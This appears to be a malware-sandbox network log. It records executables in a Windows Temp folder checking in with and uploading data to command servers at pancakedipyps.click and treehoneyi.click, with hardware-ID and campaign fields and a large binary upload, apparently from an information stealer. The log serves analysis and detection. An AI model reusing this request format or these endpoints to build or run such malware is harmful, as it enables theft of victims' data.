2024-12-20 16:43:57 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 76 62 41 72 5a 2d 2d 26 6a 3d 26 68 77 69 64 3d 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PvbArZ--&j=&hwid=DD89D436C83CA067AC8923850305D13E
2024-12-20 16:43:58 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58gg5snmcvegk31s89h7aucsqo; expires=Tue, 15 Apr 2025 10:30:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d99zL8mvBWNZy9s%2FSYo7G8uDgNKVWeys36a15OQkzwxQzzZzXrOg8uVUTjc8KsXEFVPBf2mHhZbgIIPSfe6XBmTalmyqOAsrWtIiVHMOzDLcUOghw93%2BtY9W6VuiIZh36w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5118240e76c329-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1486&rtt_var=568&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=975&delivery_rate=1909744&cwnd=148&unsent_bytes=0&cid=35d5806262fde25a&ts=1098&x=0"
2024-12-20 16:43:58 UTC	54	IN	Data Raw: 33 30 0d 0a 2f 65 6c 6b 68 48 67 69 2f 35 41 37 6c 72 4b 50 6f 39 4e 6f 67 76 38 6f 58 44 52 4c 33 43 77 36 43 64 56 75 6d 78 74 66 30 34 53 6d 74 41 3d 3d 0d 0a Data Ascii: 30/elkhHgi/5A7lrKPo9Nogv8oXDRL3Cw6CdVumxtf04SmtA==
2024-12-20 16:43:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49814	104.21.23.76	443	7532	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L6JB2LE649H4E2N5V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19956 Host: pancakedipyps.click
2024-12-20 16:43:58 UTC	15331	OUT	Data Raw: 2d 2d 4c 36 4a 42 32 4c 45 36 34 39 48 34 45 32 4e 35 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 36 4a 42 32 4c 45 36 34 39 48 34 45 32 4e 35 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 36 4a 42 32 4c 45 36 34 39 48 34 45 32 4e 35 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --L6JB2LE649H4E2N5VContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--L6JB2LE649H4E2N5VContent-Disposition: form-data; name="pid"3--L6JB2LE649H4E2N5VContent-Disposition: form-data; name="lid"FATE99--test--
2024-12-20 16:43:58 UTC	4625	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f Data Ascii: +?2+?2+?o?Mp5p_o
2024-12-20 16:43:59 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arlp72r83s6mt3v5c3lj5p5qp0; expires=Tue, 15 Apr 2025 10:30:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wudj4n%2Bs3QdV7xfWqKDPBhFVnwRfSSPYlbMdjLXSIPBfnPfelASgBgVYWY65eFvhZM4qgSsg6%2B16uyMaQslH4NlgfVrmHNCvZwIw22cG4dbc9mCN7cZXSpCy4BGca%2Fr92BcxZdbo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51182a8e877d20-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1959&rtt_var=753&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2848&recv_bytes=20920&delivery_rate=1436301&cwnd=207&unsent_bytes=0&cid=73e0ba86efe25ae7&ts=1254&x=0"
2024-12-20 16:43:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49823	104.21.23.76	443	7532	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:44:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3XCQNFYYQQ170DQ5QH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: pancakedipyps.click
2024-12-20 16:44:01 UTC	1252	OUT	Data Raw: 2d 2d 33 58 43 51 4e 46 59 59 51 51 31 37 30 44 51 35 51 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 58 43 51 4e 46 59 59 51 51 31 37 30 44 51 35 51 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 58 43 51 4e 46 59 59 51 51 31 37 30 44 51 35 51 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d Data Ascii: --3XCQNFYYQQ170DQ5QHContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--3XCQNFYYQQ170DQ5QHContent-Disposition: form-data; name="pid"1--3XCQNFYYQQ170DQ5QHContent-Disposition: form-data; name="lid"FATE99--test
2024-12-20 16:44:02 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s20010qnv551orgq9ttfbrbjl4; expires=Tue, 15 Apr 2025 10:30:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e60wm5GqGhpTb0UOeVxU1bN%2BCL65bwib0f%2BvONjyO1At59hxEyCE81mIFrJG7BbdF8FgncZIfJEDQz2lsCxVuRCLFHVl5rEXJ5HlqSFgFJWgw6GuNIECBCxGPAiB4ADycCybUXV8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51183e3ef732fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=2031&rtt_var=775&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2172&delivery_rate=1399808&cwnd=164&unsent_bytes=0&cid=3f4ec95ddd6b9c86&ts=820&x=0"
2024-12-20 16:44:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:44:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49825	104.21.91.209	443	6268	C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:44:01 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DQGC5ZL41CPR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12825 Host: treehoneyi.click
2024-12-20 16:44:01 UTC	12825	OUT	Data Raw: 2d 2d 44 51 47 43 35 5a 4c 34 31 43 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 51 47 43 35 5a 4c 34 31 43 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 51 47 43 35 5a 4c 34 31 43 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 44 51 47 43 35 5a 4c 34 31 43 50 52 Data Ascii: --DQGC5ZL41CPRContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--DQGC5ZL41CPRContent-Disposition: form-data; name="pid"2--DQGC5ZL41CPRContent-Disposition: form-data; name="lid"rAGxSF--Support--DQGC5ZL41CPR
2024-12-20 16:44:02 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s27kaqinimbrtd976js7cvvprh; expires=Tue, 15 Apr 2025 10:30:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oeRuZqRCaZ1WVkZ2qUNpD%2FCxpLAZo9ezl8LXapMLo%2FGb64aHKgtkP5utAwn0TcwU4WmcJtMFWS31P2fSIEqVaMs5Rmg%2BSuB4opAMmC5QtHwr11lzwBGrhgHfqweETstyAoc7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51183eaf377d06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&min_rtt=1838&rtt_var=692&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2841&recv_bytes=13759&delivery_rate=1579232&cwnd=244&unsent_bytes=0&cid=568f0185931087e3&ts=906&x=0"
2024-12-20 16:44:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:44:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49831	104.21.91.209	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:44:03 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=978SKWVU00KE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15071 Host: treehoneyi.click
2024-12-20 16:44:03 UTC	15071	OUT	Data Raw: 2d 2d 39 37 38 53 4b 57 56 55 30 30 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 37 38 53 4b 57 56 55 30 30 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 37 38 53 4b 57 56 55 30 30 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 39 37 38 53 4b 57 56 55 30 30 4b 45 Data Ascii: --978SKWVU00KEContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--978SKWVU00KEContent-Disposition: form-data; name="pid"2--978SKWVU00KEContent-Disposition: form-data; name="lid"rAGxSF--Support--978SKWVU00KE
2024-12-20 16:44:04 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tobs762vnnqve1tge4tkf01l6; expires=Tue, 15 Apr 2025 10:30:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FWHkOKiJ%2BLtJBirW58vend6Viv%2F8rFSL9Sjt64uJP%2F04%2FoP6eBKRo%2BnSe1cB148qzJUrdaG7tmKz7BoqEo0d4v73IIYPmOsOWXWlBDcrZLbKrwA%2Bhpn9zx4FDh0bzde6f%2FFC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51184cb9890f3f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1641&rtt_var=633&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16005&delivery_rate=1704611&cwnd=193&unsent_bytes=0&cid=de87b5ed6cc5f926&ts=996&x=0"
2024-12-20 16:44:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:44:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49833	104.21.23.76	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:44:03 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CFI4JWYRH07 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550636 Host: pancakedipyps.click
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: 2d 2d 43 46 49 34 4a 57 59 52 48 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 46 49 34 4a 57 59 52 48 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 46 49 34 4a 57 59 52 48 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 43 46 49 34 4a 57 59 52 48 30 37 0d 0a 43 6f 6e 74 65 Data Ascii: --CFI4JWYRH07Content-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--CFI4JWYRH07Content-Disposition: form-data; name="pid"1--CFI4JWYRH07Content-Disposition: form-data; name="lid"FATE99--test--CFI4JWYRH07Conte
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: cb 2c 22 3f bf 08 fb c1 31 16 ae 51 7f 25 25 76 17 0e 6c e0 d8 16 94 fe 03 e8 8a ec 9f eb 40 64 73 be 34 0d 95 f4 a1 69 25 80 1a c9 6f d5 0b 53 4f 0a 70 3d 6b 61 cb 35 0d 7a 32 9a 1b 3d fe 5e 8a a1 c6 ca 09 fd 8a 77 11 82 a8 bf 00 46 3f 6b 08 03 c1 23 03 bb fb 95 69 59 4e 9d b6 e8 47 95 3f a2 96 f7 f9 4b 5e 9a 96 01 8e 1b 17 4e 75 5c ad ec b9 b8 77 28 34 5d b9 c3 a0 1d 0e f2 73 7f e7 fb 79 5a f5 7c 65 91 57 c7 e1 c0 77 bf a4 f3 81 bf 96 9d 06 7e 87 e8 39 3f 14 93 c8 ba 17 84 58 47 1a ba 26 07 2b 6a e1 66 7f 6d 6b 49 90 fb ae 97 55 11 d6 96 ea 86 9c b1 ab 10 5d 47 86 6b 7b 0c b1 a4 f2 6f 05 d9 4f cd 81 55 94 0f 16 be f2 8e 55 ae 0f 4a 3d d0 9d bb 49 cc ca 17 dc 74 f9 95 7c af 9d 7f 8f 4a 3d 40 55 74 3f d1 47 7f d9 5d 55 35 ec 7a 15 f5 e6 cf 9a ae a3 05 1b Data Ascii: ,"?1Q%%vl@ds4i%oSOp=ka5z2=^wF?k#iYNG?K^Nu\w(4]syZ\|eWw~9?XG&+jfmkIU]Gk{oOUUJ=It\|J=@Ut?G]U5z
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: 13 81 2f 1f 38 8f 74 62 79 a0 2b fd 73 8b 25 33 69 50 18 11 21 0e 92 56 10 af f7 89 8c 8c f1 a3 20 cd 0f 53 08 e0 81 37 64 90 6b 27 c9 be 86 66 f9 ca dc 02 99 16 2c a9 05 37 2d 59 84 db da 50 37 86 51 2b f7 f4 20 17 d8 2a bd 42 62 f3 12 40 fc 9f 38 a0 88 a1 61 e2 0e 2e 96 17 0f 5a ea 22 5d 04 2b 31 f0 bb de 70 08 12 df 10 04 2d 50 fb 2f 9a 48 07 f7 c1 17 da 7e 6c dd 2d c2 0f 89 af 41 13 22 2b af 11 4e 33 2a 93 cc 0c 4e e9 b2 cf b7 b2 52 aa 0a 76 da cd b0 1c df ba 3e 2a e9 b5 ed 2e 26 05 93 dc 3e 0f 9e 42 fd 24 fb 6c eb 06 fc 81 18 2f b9 d5 24 60 e5 8a ba e3 76 77 be b5 dc b5 8f a9 c7 8b 3f 6c 5a 6a e6 ba fd cf 2f 76 21 ef da e2 d5 85 cd 9a f8 46 9f cc ed 35 6c 5f cd 7d 28 19 79 60 a2 ad 9a 44 33 7e 18 91 6b 15 99 6d 52 5d 71 84 3b 9e b3 ec af 9e 5e ed ac Data Ascii: /8tby+s%3iP!V S7dk'f,7-YP7Q+ Bb@8a.Z"]+1p-P/H~l-A"+N3NRv>*.&>B$l/$`vw?lZj/v!F5l_}(y`D3~kmR]q;^
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: 73 bd d8 2b eb cb 37 99 65 54 2e 7b 6f ec dd af 07 24 0b 87 90 a4 e6 fa 71 d5 d4 bc 53 b4 64 45 31 c5 15 66 c8 67 7e ab 87 34 cb 0b 11 67 93 36 eb 5b 5d 31 89 b9 b1 2d 06 5a 8b 57 ae 7f 2e 91 19 31 c2 84 45 86 b5 df 72 14 82 65 b3 f3 70 54 d2 6e d2 7d 4d 8c fb 92 ea 9c f7 15 b2 74 18 84 1a 8d 6f d5 05 dc 73 e7 ab 28 4f 22 15 fa da 51 02 21 39 c6 86 52 72 8c 1a 4a cf e5 a7 95 ad 9a 86 fc d4 44 0f 6f 27 44 f1 c2 91 61 18 b8 d8 c2 90 1e 17 1d 7c 7f f9 9a 9e 5a 76 46 59 e5 20 7e d3 2b d6 4f e4 de 9e d4 cd 63 44 10 f0 d3 5d 1c 13 19 c4 7f b1 46 b9 6b b1 fa 5e 78 71 c2 b7 30 da cd ea f2 89 69 9b a1 98 5f 89 2d 86 23 70 93 34 de 2b c6 00 13 00 ae 12 1a 14 b2 de fb 4a b7 0e ad 7f f4 ff cf 40 b2 2c 63 6e 4a 08 dc c6 af dd 0d 6a d9 6a fc 56 32 4b ff ee 9d 9b 7d ab Data Ascii: s+7eT.{o$qSdE1fg~4g6[]1-ZW.1ErepTn}Mtos(O"Q!9RrJDo'Da\|ZvFY ~+OcD]Fk^xq0i_-#p4+J@,cnJjjV2K}
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: 4c a6 d5 f3 76 87 85 4a 6c f2 1e 0b 2b 54 17 cb 36 a4 1a 5c 40 55 ef 26 69 a1 de 8f 03 df 99 aa 37 e2 89 f1 71 cc 38 e5 6a 2d dd ac bc 21 0b e7 86 db fc 18 ef 41 ed 15 15 4a 59 1c 99 ff 81 61 b8 5e 2c fb 9d 9e 95 73 ba 16 76 97 c8 cd 50 72 6b d4 28 cf c6 a1 87 42 88 7a 3f 05 87 12 50 d0 1a d8 16 5a 1c 7a 3a 6f d9 4f f7 25 5c d9 fc 72 9a 5f 17 a5 0c 2e dd 53 6b f5 4e fd 22 27 c2 3e d0 17 21 92 fa f1 fb 3f 33 8c 83 c5 50 23 33 75 f3 ca ec a4 b5 6d c6 d2 16 7e 45 bb bd 55 77 93 7d df d8 9a eb c5 dc 5b 74 db 5d 0d 20 3c ab 7e f0 7e 50 dd 4d ee 59 af 2b 13 ff 48 06 a3 73 75 89 dc 5b 17 5f 93 57 9f 82 f8 79 95 d1 df 2f 87 2d a5 91 41 6f ef 52 20 fa 5b 3c 96 37 ba 62 86 ea 9c f6 f4 c8 99 35 67 87 70 db 0b 8b 4f ca fe 7d 7d c3 61 2c 39 30 d8 d2 a5 1a e3 e7 35 73 Data Ascii: LvJl+T6\@U&i7q8j-!AJYa^,svPrk(Bz?PZz:oO%\r_.SkN"'>!?3P#3um~EUw}[t] <~~PMY+Hsu[_Wy/-AoR [<7b5gpO}}a,905s
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: b7 d5 d0 1a 86 d7 ee 5c b0 0c 93 81 c8 49 70 24 1d 49 23 30 b6 2f 19 ea 88 a5 85 ed d6 d2 d5 69 51 21 a5 a6 64 31 1f 6c 69 a1 d4 86 b3 08 f9 35 c9 6a 6c db 48 77 97 1a 3a fc 42 9f 1d 83 82 67 f0 67 53 00 e3 0a 61 e4 49 4a b9 06 3a 02 09 30 0a 5c a6 13 da e2 da 1e bc f8 c5 6f 65 e9 52 4e 00 13 1b 2f ad 49 ae 07 42 9f 5f 96 99 c4 74 ec 1b 24 21 a2 b7 81 85 07 25 2d 9a b1 53 87 aa ef b9 52 0d 5b 16 db 7f f0 c7 02 cb 31 b5 38 5a 1c d9 eb a1 f6 1a b3 af fd 05 bf 2e da 3b 59 3d 4a fe 3e fa d3 2b 71 b1 41 e6 66 30 7f 50 64 b8 d2 5c 2e 88 87 ad c6 d8 13 3c 14 ed ad 27 15 9e f9 d1 74 ad 7d 4d 99 de e2 c0 97 a2 07 66 0a 7e 8a b6 59 b2 00 5a 9c 77 54 b3 83 94 a5 81 d8 be 03 a0 e3 10 7f 54 88 ef 42 54 5f 50 3a eb 6c af 6e 13 cb 16 7f f1 79 f8 85 1f df 8e 2b b8 1a c9 Data Ascii: \Ip$I#0/iQ!d1li5jlHw:BggSaIJ:0\oeRN/IB_t$!%-SR[18Z.;Y=J>+qAf0Pd\.<'t}Mf~YZwTTBT_P:lny+
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: f8 b6 3b 94 fa 9e e3 2e 8c 38 54 cd b5 e3 b0 68 1f db 07 79 40 95 c4 0e d2 b1 65 8a 10 2b fe f3 62 0f 03 3b be 0d ec 2f b3 ad 11 41 02 f8 7d ba a7 86 d9 83 51 a6 c0 14 26 02 92 a4 2b 59 02 eb 2c dc fd d1 f0 c7 ef 50 41 c1 7e 1b 8a d0 39 88 ee ca f8 bf 01 f1 3c eb e4 ea 1e 63 17 24 bd 06 62 74 28 13 9d ed 51 17 dc a1 56 49 90 77 1b f4 55 3a ab d2 0f 71 3c 74 fc be 45 2b 01 c4 92 e8 ea b0 6c 68 e9 47 d0 de 10 66 8e 6f ff 88 b5 3d 0c 4b ae bc 1b e8 fa b8 f9 9a 94 cc c3 32 fb a6 bb b6 af 37 9f 87 ed 6c c8 71 17 f0 87 23 f9 97 99 82 ee 99 c8 20 e3 16 f0 01 58 ab 64 12 dd 14 b6 54 2b b8 2e 95 a9 31 6f fd b9 97 67 66 f0 b5 dd ea 13 a1 27 1d 51 3e 34 9b 8b c7 7f 73 a9 8f f6 45 83 0f fb 48 0f 79 12 3d 88 30 3b 8c fa c0 ab 68 7e 77 ba 27 08 3a d8 5d 89 54 91 8f 6a Data Ascii: 